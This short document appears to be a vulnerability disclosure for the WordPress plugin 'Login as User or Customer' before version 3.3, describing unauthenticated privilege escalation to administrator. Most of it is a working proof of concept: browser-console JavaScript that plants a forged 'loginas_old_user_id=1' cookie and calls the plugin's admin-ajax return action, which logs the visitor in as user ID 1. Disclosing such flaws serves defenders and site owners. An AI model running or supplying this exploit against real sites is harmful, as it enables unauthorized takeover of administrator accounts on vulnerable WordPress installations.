Login as User or Customer < 3.3 - Unauthenticated Privilege Escalation to Admin

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as an unauthenticated user, then reload the page to be logged in as the user with ID:

document.cookie = "loginas_old_user_id=1";
fetch("/wp-admin/admin-ajax.php?action=loginas_return_admin", {
  "method": "GET",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));